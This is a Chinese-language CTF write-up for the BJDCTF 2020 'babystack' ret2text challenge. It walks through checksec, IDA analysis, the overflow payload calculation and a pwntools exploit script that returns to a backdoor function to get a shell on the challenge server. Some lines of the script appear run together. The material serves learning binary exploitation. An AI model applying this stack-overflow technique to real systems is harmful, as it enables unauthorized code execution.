> 文章列表 > 【PWN刷题__ret2text】[BJDCTF 2020]babystack

【PWN刷题__ret2text】[BJDCTF 2020]babystack

【PWN刷题__ret2text】[BJDCTF 2020]babystack

新手上路~低速慢行~

目录

前言

1. checksec

2. IDA 反汇编

3. payload编写

4. exp编写

5. pwntools用法


前言

作为pwn新手,尽可能在刷题中,记录、学习一些通用的知识点,因此wp是少不了的。

本题是一道简单的ret2text


1. checksec

没有开启栈保护


2. IDA 反汇编

发现危险函数read

 

发现后门函数backdoor


3. payload编写

通过buf距离栈基址偏移10h

 且后门函数地址为0x4006E6   可以构造:

payload: 填充buf(10h)+填充ebp(64位→8字节)+修改return地址(0x4006E6)

payload=b’a’*(0x10+0x8)+p64(0x4006E6)


4. exp编写

基本的代码框架

from pwn import *
r=remote("node2.anna.nssctf.cn",28076)r.recvuntil("name:\\\\n")
r.sendline("-1") 
r.recvuntil("name?")backdoor=0x4006e6
payload=b'a'*(0x10+0x8)+p64(backdoor)
r.sendline(payload)
r.interactive()

如此即可获得shell,cat flag即可获得flag


5. pwntools用法

这里

作为最好用的pwn工具,简单记一下用法:

  • 连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
  • 数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制
  • IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send